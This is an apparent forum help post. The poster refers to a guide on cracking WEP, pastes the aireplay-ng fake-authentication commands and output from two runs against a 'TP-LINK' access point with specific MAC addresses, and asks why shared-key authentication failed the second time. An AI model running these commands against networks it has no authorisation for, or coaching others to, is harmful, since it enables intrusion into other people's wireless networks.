refer to
Ubuntu8.10下用5100网卡成功破解wep http://www.anywlan.com/thread-19558-1-1.html At first !!!
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root@david-laptop:~# aireplay-ng -1 0 -e TP-LINK -a 0019E0BCAFD4 -h 0022faa3b5f4 mon0
------------------------>
19:08:27 Waiting for beacon frame (BSSID: 00:19:E0:BC:AF4) on channel 6
19:08:27 Sending Authentication Request (Open System) [ACK]
19:08:27 Switching to shared key authentication
Read 5022 packets...
19:10:04 Sending Authentication Request (Shared Key)
19:10:04 Authentication 1/2 successful
19:10:04 You should specify a xor file (-y) with at least 140 keystreambytes
19:10:04 Trying fragmented shared key fake auth.
19:10:04 Sending encrypted challenge. [ACK]
19:10:04 Authentication 2/2 successful
19:10:04 Sending Association Request [ACK]
19:10:04 Association successful :-) (AID: 1)
root@david-laptop:~#
----------------------< second !!!
root@david-laptop:~# aireplay-ng -1 0 -e TP-LINK -a 0019e0bcafd4 -h 0022faa3b5f4 mon0
09:46:46 Waiting for beacon frame (BSSID: 00:19:E0:BC:AF4) on channel 6
09:46:50 Sending Authentication Request (Open System) [ACK]
09:46:50 Switching to shared key authentication
Read 1112 packets...
09:48:13 Sending Authentication Request (Shared Key)
Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled.
* Check that the BSSID (-a option) is correct.
* Try to change the number of packets (-o option).
* The driver/card doesn't support injection.
* This attack sometimes fails against some APs.
* The card is not on the same channel as the AP.
* You're too far from the AP. Get closer, or lower
the transmit rate.
root@david-laptop:~#
Question:
why not message like this :
-----------------------
Sending Authentication Request
Authentication successful
Sending Association Request
Association successful :‐)
--------------------------------
because of he used share key ??
What can i do ?
thx